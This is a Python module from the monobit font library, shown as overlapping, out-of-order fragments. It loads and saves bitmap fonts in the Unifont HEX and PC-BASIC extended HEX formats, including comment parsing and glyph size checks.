"+ '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex",
"# hex code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\"",
"== '#' # pass through lines without : as comments - allows e.g.",
"return ''.join(chr(int(_key, 16)) for _key in key.split(',')) except ValueError: return '' def _convert_glyph(key,",
"@savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font to Unifont .HEX file.\"\"\"",
"= lines[:-1] try: splitter = lines[::-1].index('') except ValueError: global_comment = lines lines =",
"{glyph.char} is {glyph.width}x{glyph.height}.' ) return False if glyph.height >= 32: logging.warning( 'Extended Hex",
"def split_global_comment(lines): \"\"\"Split top comments into global and first glyph comment.\"\"\" while lines",
"return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from",
"in lines if _line)) if len(firsts) == 1 and firsts not in string.ascii_letters",
"_line in lines] # remove one leading space if all(_line.startswith(' ') for _line",
"global_comment, lines ############################################################################## # saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font",
"# two standards: 8-pix wide, or 16-pix wide # if height >= 32,",
"licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation # http://czyborra.com/unifont/ import logging import string",
"save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC extended .HEX file.\"\"\" font",
"or PC-BASIC Extended .HEX file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') +",
"def _convert_glyph(key, value, comment): \"\"\"Create Glyph object from key string and hex value.\"\"\"",
"return True def _format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\" return ( #",
"from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16",
"line in instream: line = line.rstrip('\\r\\n') if ':' in line: # parse code",
"fits in Unifont Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format does not",
"num_bytes else: width, height = 16, num_bytes // 2 # get labels char",
"only supports character-cell or multi-cell fonts.' ) return font ############################################################################## # loader def",
"lines if they separate comments (not line and comment and comment[-1] != '')",
"leading space if all(_line.startswith(' ') for _line in lines if _line): lines =",
"True def _format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\" return ( # glyph",
"string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key in key.split(',')) except ValueError: return ''",
"Unifont Hex format (c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation",
"http://czyborra.com/unifont/ import logging import string from ..storage import loaders, savers from ..streams import",
"lines and not lines[-1]: lines = lines[:-1] if not lines: return [] lines",
"lines if _line): lines = [_line[1:] for _line in lines] return lines def",
"\"\"\"Load 8xN multi-cell font from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont",
"return False return True def _fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC Extended",
"separate comments (not line and comment and comment[-1] != '') # marked as",
"_save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font to",
"' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _format_glyph(glyph): \"\"\"Format",
"found, split comment lines between global and glyph if not glyphs and comment:",
"u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex code glyph.as_hex().upper() ) ) def _format_comment(comment,",
"file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font",
"8xN multi-cell font to PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text,",
"load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex)",
"[] # preserve any comment at end of file as part of global",
"marked as comment or line[0] == '#' # pass through lines without :",
"glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _fits_in_hext(glyph):",
"[] glyphs = [] comment = [] for line in instream: line =",
"\"\"\"Split top comments into global and first glyph comment.\"\"\" while lines and not",
"key, value = line.rsplit(':', 1) value = value.strip() if ( # preserve empty",
"logging.warning('Hex format does not support multi-codepoint grapheme clusters.') return False if glyph.height !=",
"_validate(fonts): \"\"\"Check if font fits in file format.\"\"\" if len(fonts) > 1: raise",
"if not char else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters from",
"+ '\\n\\n') # glyphs for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping",
"not lines[-1]: lines = lines[:-1] try: splitter = lines[::-1].index('') except ValueError: global_comment =",
"8x16 multi-cell font from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream,",
"in line: # parse code line key, value = line.rsplit(':', 1) value =",
"supports glyphs less than 32 pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' )",
"determine geometry # two standards: 8-pix wide, or 16-pix wide # if height",
"'\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex code",
"in line) # not a valid line, treat as comment or set(value) -",
"HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC extended .HEX file.\"\"\"",
"_save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font fits in file format.\"\"\" if",
"_c in glyph.char), # hex code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format",
"(8, 16): logging.warning( 'Extended Hex format only supports glyphs of width 8 or",
"# glyph comment ('' if not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') +",
"for _line in lines if _line): lines = [_line[1:] for _line in lines]",
"height >= 32, they conflict num_bytes = len(value) // 2 if num_bytes <",
"top comments into global and first glyph comment.\"\"\" while lines and not lines[-1]:",
"of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key):",
"+ _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in",
"logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont",
"def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return '\\n'.join(f'{comm_char} {_line}' for _line in",
"allows e.g. to convert diffs, like hexdraw or (':' not in line) #",
"outstream, where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC extended .HEX file.\"\"\" font =",
"line[0] == '#' # pass through lines without : as comments - allows",
": as comments - allows e.g. to convert diffs, like hexdraw or (':'",
"lines def split_global_comment(lines): \"\"\"Split top comments into global and first glyph comment.\"\"\" while",
"{glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _format_glyph(glyph): \"\"\"Format glyph line",
"key.split(',')) except ValueError: return '' def _convert_glyph(key, value, comment): \"\"\"Create Glyph object from",
"+ string.digits: lines = [_line[1:] for _line in lines] # remove one leading",
") return False if glyph.height >= 32: logging.warning( 'Extended Hex format only supports",
"comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for glyph in font.glyphs:",
"- non-alphanumeric shared first character firsts = str(set(_line[0:1] for _line in lines if",
"f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _fits_in_hext(glyph): \"\"\"Check if",
"len(glyph.char) > 1: logging.warning('Hex format does not support multi-codepoint grapheme clusters.') return False",
"tags=([key] if not char else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters",
"as part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode'))",
") def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return '\\n'.join(f'{comm_char} {_line}' for _line",
"glyphs less than 32 pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return",
"treat as comment or set(value) - set(string.hexdigits + ',') ): comment.append(line) else: #",
"firsts = str(set(_line[0:1] for _line in lines if _line)) if len(firsts) == 1",
"%s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont Hex",
"if not glyphs and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment",
"if len(fonts) > 1: raise FileFormatError('Can only save one font to hex file.')",
"value = line.rsplit(':', 1) value = value.strip() if ( # preserve empty lines",
"documentation # http://czyborra.com/unifont/ import logging import string from ..storage import loaders, savers from",
"from ..storage import loaders, savers from ..streams import FileFormatError from ..font import Font",
"comment): \"\"\"Create Glyph object from key string and hex value.\"\"\" # determine geometry",
"= [] for line in instream: line = line.rstrip('\\r\\n') if ':' in line:",
"_validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font fits in file format.\"\"\"",
"..font import Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream,",
"like hexdraw or (':' not in line) # not a valid line, treat",
"standards: 8-pix wide, or 16-pix wide # if height >= 32, they conflict",
"< 32: width, height = 8, num_bytes else: width, height = 16, num_bytes",
"return False if glyph.height != 16 or glyph.width not in (8, 16): logging.warning(",
"from a .hex file.\"\"\" global_comment = [] glyphs = [] comment = []",
"than 32 pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return",
"width 8 or 16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False",
"glyph.width not in (8, 16): logging.warning( 'Extended Hex format only supports glyphs of",
"= lines[:-1] if not lines: return [] lines = [_line or '' for",
"!= 16 or glyph.width not in (8, 16): logging.warning( 'Hex format only supports",
"extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if",
") ) def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return '\\n'.join(f'{comm_char} {_line}' for",
"_format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\" return ( # glyph comment (''",
"labels char = _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not char",
"# not a valid line, treat as comment or set(value) - set(string.hexdigits +",
"return global_comment, lines ############################################################################## # saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell",
"else: width, height = 16, num_bytes // 2 # get labels char =",
"in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph):",
"HEX format documentation # http://czyborra.com/unifont/ import logging import string from ..storage import loaders,",
"def _validate(fonts): \"\"\"Check if font fits in file format.\"\"\" if len(fonts) > 1:",
"line.rsplit(':', 1) value = value.strip() if ( # preserve empty lines if they",
"glyph is found, split comment lines between global and glyph if not glyphs",
"= [_line or '' for _line in lines] # remove \"comment char\" -",
"through lines without : as comments - allows e.g. to convert diffs, like",
"if num_bytes < 32: width, height = 8, num_bytes else: width, height =",
".HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font",
"hex code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return",
"16): logging.warning( 'Hex format only supports 8x16 or 16x16 glyphs, ' f'glyph {glyph.char}",
"lines and not lines[-1]: lines = lines[:-1] try: splitter = lines[::-1].index('') except ValueError:",
"def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font to Unifont .HEX file.\"\"\" font",
"glyph if not glyphs and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment))",
"\"\"\" # HEX format documentation # http://czyborra.com/unifont/ import logging import string from ..storage",
"hex value.\"\"\" # determine geometry # two standards: 8-pix wide, or 16-pix wide",
"= str(set(_line[0:1] for _line in lines if _line)) if len(firsts) == 1 and",
"glyph comment ('' if not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n')",
"\"\"\" monobit.hex - Unifont Hex format (c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" #",
"lines[:-1] if not lines: return [] lines = [_line or '' for _line",
"not in line) # not a valid line, treat as comment or set(value)",
"of file as part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs,",
"font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check",
"is {glyph.width}x{glyph.height}.' ) return False return True def _format_glyph(glyph): \"\"\"Format glyph line for",
"'' def _convert_glyph(key, value, comment): \"\"\"Create Glyph object from key string and hex",
"lines between global and glyph if not glyphs and comment: global_comment, comment =",
"8xN multi-cell font from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX')",
"= lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines ############################################################################## # saver def _save_hex(font,",
"space if all(_line.startswith(' ') for _line in lines if _line): lines = [_line[1:]",
"= lines[-splitter:] return global_comment, lines ############################################################################## # saver def _save_hex(font, outstream, fits): \"\"\"Save",
"return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from key string.\"\"\" try:",
"and comment[-1] != '') # marked as comment or line[0] == '#' #",
"font to Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def",
"# if height >= 32, they conflict num_bytes = len(value) // 2 if",
"True def _fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC Extended Hex format.\"\"\" if",
"def _fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont Hex format.\"\"\" if len(glyph.char) >",
"_line)) if len(firsts) == 1 and firsts not in string.ascii_letters + string.digits: lines",
"pass through lines without : as comments - allows e.g. to convert diffs,",
"from key string and hex value.\"\"\" # determine geometry # two standards: 8-pix",
"lines = lines[:-1] try: splitter = lines[::-1].index('') except ValueError: global_comment = lines lines",
"they separate comments (not line and comment and comment[-1] != '') # marked",
"num_bytes = len(value) // 2 if num_bytes < 32: width, height = 8,",
"_fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC extended",
"lines] # remove \"comment char\" - non-alphanumeric shared first character firsts = str(set(_line[0:1]",
"''.join(chr(int(_key, 16)) for _key in key.split(',')) except ValueError: return '' def _convert_glyph(key, value,",
"Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load",
"font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font fits in",
"value = value.strip() if ( # preserve empty lines if they separate comments",
"_load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font to Unifont .HEX",
"does not support multi-codepoint grapheme clusters.') return False if glyph.height != 16 or",
"if not lines: return [] lines = [_line or '' for _line in",
"comment = [] for line in instream: line = line.rstrip('\\r\\n') if ':' in",
"set(string.hexdigits + ',') ): comment.append(line) else: # when first glyph is found, split",
"') for _line in lines if _line): lines = [_line[1:] for _line in",
"1: logging.warning('Hex format does not support multi-codepoint grapheme clusters.') return False if glyph.height",
"num_bytes < 32: width, height = 8, num_bytes else: width, height = 16,",
"leading characters from comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] if",
"comm_char='#') + '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in glyph.char), #",
"_line in lines if _line)) if len(firsts) == 1 and firsts not in",
"+ ',') ): comment.append(line) else: # when first glyph is found, split comment",
"lines[:-1] try: splitter = lines[::-1].index('') except ValueError: global_comment = lines lines = []",
"import FileFormatError from ..font import Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended",
"to Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts,",
"\"\"\"Check if glyph fits in Unifont Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex",
"not glyphs and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment =",
"'Hex format only supports 8x16 or 16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.'",
"for _key in key.split(',')) except ValueError: return '' def _convert_glyph(key, value, comment): \"\"\"Create",
"for _line in lines] return lines def split_global_comment(lines): \"\"\"Split top comments into global",
"for line in instream: line = line.rstrip('\\r\\n') if ':' in line: # parse",
"{glyph.width}x{glyph.height}.' ) return False return True def _format_glyph(glyph): \"\"\"Format glyph line for hex",
"(8, 16): logging.warning( 'Hex format only supports 8x16 or 16x16 glyphs, ' f'glyph",
"32, they conflict num_bytes = len(value) // 2 if num_bytes < 32: width,",
"import logging import string from ..storage import loaders, savers from ..streams import FileFormatError",
"False return True def _format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\" return (",
"not lines[-1]: lines = lines[:-1] if not lines: return [] lines = [_line",
"_convert_glyph(key, value, comment): \"\"\"Create Glyph object from key string and hex value.\"\"\" #",
"FileFormatError from ..font import Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX')",
"# preserve empty lines if they separate comments (not line and comment and",
"comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while lines and not",
"[] for line in instream: line = line.rstrip('\\r\\n') if ':' in line: #",
"wide # if height >= 32, they conflict num_bytes = len(value) // 2",
"fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph",
"8x16 multi-cell font to Unifont or PC-BASIC Extended .HEX file.\"\"\" # global comment",
"value.\"\"\" # determine geometry # two standards: 8-pix wide, or 16-pix wide #",
"glyphs of width 8 or 16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' )",
"without : as comments - allows e.g. to convert diffs, like hexdraw or",
"len(value) // 2 if num_bytes < 32: width, height = 8, num_bytes else:",
"comments - allows e.g. to convert diffs, like hexdraw or (':' not in",
"they conflict num_bytes = len(value) // 2 if num_bytes < 32: width, height",
"= [_line[1:] for _line in lines] return lines def split_global_comment(lines): \"\"\"Split top comments",
"{glyph.width}x{glyph.height}.' ) return False return True def _fits_in_hext(glyph): \"\"\"Check if glyph fits in",
"global_comment = lines lines = [] else: global_comment = lines[:-splitter-1] lines = lines[-splitter:]",
"line = line.rstrip('\\r\\n') if ':' in line: # parse code line key, value",
"multi-cell fonts.' ) return font ############################################################################## # loader def _load_hex(instream): \"\"\"Load font from",
"supports 8x16 or 16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False",
"file.') font, = fonts if font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This",
"if _line): lines = [_line[1:] for _line in lines] return lines def split_global_comment(lines):",
"logging import string from ..storage import loaders, savers from ..streams import FileFormatError from",
"..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell",
"\"\"\"Remove leading characters from comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1]",
"if len(glyph.char) > 1: logging.warning('Hex format does not support multi-codepoint grapheme clusters.') return",
"# global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for glyph",
"in (8, 16): logging.warning( 'Extended Hex format only supports glyphs of width 8",
"value.strip() if ( # preserve empty lines if they separate comments (not line",
"not char else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\"",
"if len(firsts) == 1 and firsts not in string.ascii_letters + string.digits: lines =",
"[] else: global_comment = lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines ############################################################################## #",
"32: logging.warning( 'Extended Hex format only supports glyphs less than 32 pixels high,",
">= 32, they conflict num_bytes = len(value) // 2 if num_bytes < 32:",
"outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph))",
"- Unifont Hex format (c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format",
".HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell",
"fits in file format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can only save one",
"load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text)",
"if not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( #",
"global_comment = lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines ############################################################################## # saver def",
"if glyph.height >= 32: logging.warning( 'Extended Hex format only supports glyphs less than",
"16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False if glyph.height >=",
"- allows e.g. to convert diffs, like hexdraw or (':' not in line)",
"Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not char else []), comments=_clean_comment(comment) ) def",
"Extended Hex format.\"\"\" if glyph.width not in (8, 16): logging.warning( 'Extended Hex format",
"value, comment): \"\"\"Create Glyph object from key string and hex value.\"\"\" # determine",
"\"\"\"Load font from a .hex file.\"\"\" global_comment = [] glyphs = [] comment",
"of width 8 or 16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return",
"to Unifont or PC-BASIC Extended .HEX file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(),",
"try: splitter = lines[::-1].index('') except ValueError: global_comment = lines lines = [] else:",
"a valid line, treat as comment or set(value) - set(string.hexdigits + ',') ):",
"supports glyphs of width 8 or 16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.'",
"or multi-cell fonts.' ) return font ############################################################################## # loader def _load_hex(instream): \"\"\"Load font",
"8 or 16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False if",
"############################################################################## # saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font to Unifont",
"and glyph if not glyphs and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value,",
"2 if num_bytes < 32: width, height = 8, num_bytes else: width, height",
"8-pix wide, or 16-pix wide # if height >= 32, they conflict num_bytes",
"'Extended Hex format only supports glyphs of width 8 or 16 pixels, '",
"if ( # preserve empty lines if they separate comments (not line and",
"('' if not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format(",
"16-pix wide # if height >= 32, they conflict num_bytes = len(value) //",
"width, height).modify( char=char, tags=([key] if not char else []), comments=_clean_comment(comment) ) def _clean_comment(lines):",
"# marked as comment or line[0] == '#' # pass through lines without",
"): comment.append(line) else: # when first glyph is found, split comment lines between",
"{glyph.width}x{glyph.height}.' ) return False if glyph.height >= 32: logging.warning( 'Extended Hex format only",
"# parse code line key, value = line.rsplit(':', 1) value = value.strip() if",
"font to PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def",
"in lines] # remove one leading space if all(_line.startswith(' ') for _line in",
"only supports glyphs of width 8 or 16 pixels, ' f'glyph {glyph.char} is",
"non-alphanumeric shared first character firsts = str(set(_line[0:1] for _line in lines if _line))",
"glyphs for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char,",
"PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load",
"glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def",
") return False return True def _fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC",
"..streams import FileFormatError from ..font import Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC",
"32: width, height = 8, num_bytes else: width, height = 16, num_bytes //",
"multi-cell font to PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext)",
"comment or line[0] == '#' # pass through lines without : as comments",
"conflict num_bytes = len(value) // 2 if num_bytes < 32: width, height =",
"[] comment = [] for line in instream: line = line.rstrip('\\r\\n') if ':'",
"in lines] # remove \"comment char\" - non-alphanumeric shared first character firsts =",
"pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def",
"string and hex value.\"\"\" # determine geometry # two standards: 8-pix wide, or",
"multi-cell font to Unifont or PC-BASIC Extended .HEX file.\"\"\" # global comment if",
"font ############################################################################## # loader def _load_hex(instream): \"\"\"Load font from a .hex file.\"\"\" global_comment",
"# HEX format documentation # http://czyborra.com/unifont/ import logging import string from ..storage import",
"only save one font to hex file.') font, = fonts if font.spacing not",
"format only supports 8x16 or 16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' )",
"(c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation # http://czyborra.com/unifont/ import",
"return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not char else []), comments=_clean_comment(comment) )",
"\"\"\"Save 8x16 multi-cell font to Unifont or PC-BASIC Extended .HEX file.\"\"\" # global",
"from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None):",
"file.\"\"\" global_comment = [] glyphs = [] comment = [] for line in",
"format documentation # http://czyborra.com/unifont/ import logging import string from ..storage import loaders, savers",
"logging.warning( 'Hex format only supports 8x16 or 16x16 glyphs, ' f'glyph {glyph.char} is",
"comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = [] # preserve any comment",
"_line): lines = [_line[1:] for _line in lines] return lines def split_global_comment(lines): \"\"\"Split",
"Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from key string.\"\"\" try: return",
"one font to hex file.') font, = fonts if font.spacing not in ('character-cell',",
"format only supports glyphs of width 8 or 16 pixels, ' f'glyph {glyph.char}",
"char else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while",
"shared first character firsts = str(set(_line[0:1] for _line in lines if _line)) if",
"PC-BASIC Extended Hex format.\"\"\" if glyph.width not in (8, 16): logging.warning( 'Extended Hex",
"height = 16, num_bytes // 2 # get labels char = _convert_label(key) return",
"first glyph is found, split comment lines between global and glyph if not",
"f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _format_glyph(glyph): \"\"\"Format glyph",
"for _line in lines if _line)) if len(firsts) == 1 and firsts not",
"file format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can only save one font to",
"glyph.char), # hex code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format a multiline",
"less than 32 pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False",
"*_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from key string.\"\"\"",
"1) value = value.strip() if ( # preserve empty lines if they separate",
"comment at end of file as part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment),",
"first character firsts = str(set(_line[0:1] for _line in lines if _line)) if len(firsts)",
"',') ): comment.append(line) else: # when first glyph is found, split comment lines",
"one leading space if all(_line.startswith(' ') for _line in lines if _line): lines",
"lines] return lines def split_global_comment(lines): \"\"\"Split top comments into global and first glyph",
"= '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from",
"\"\"\"Load 8x16 multi-cell font from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts,",
"16): logging.warning( 'Extended Hex format only supports glyphs of width 8 or 16",
"\"\"\"Save 8x16 multi-cell font to Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text,",
"font fits in file format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can only save",
"glyph.width not in (8, 16): logging.warning( 'Hex format only supports 8x16 or 16x16",
"lines[-1]: lines = lines[:-1] if not lines: return [] lines = [_line or",
"lines ############################################################################## # saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font to",
"for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex())",
"clusters.') return False if glyph.height != 16 or glyph.width not in (8, 16):",
"lines = [_line[1:] for _line in lines] # remove one leading space if",
"valid line, treat as comment or set(value) - set(string.hexdigits + ',') ): comment.append(line)",
".HEX file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs",
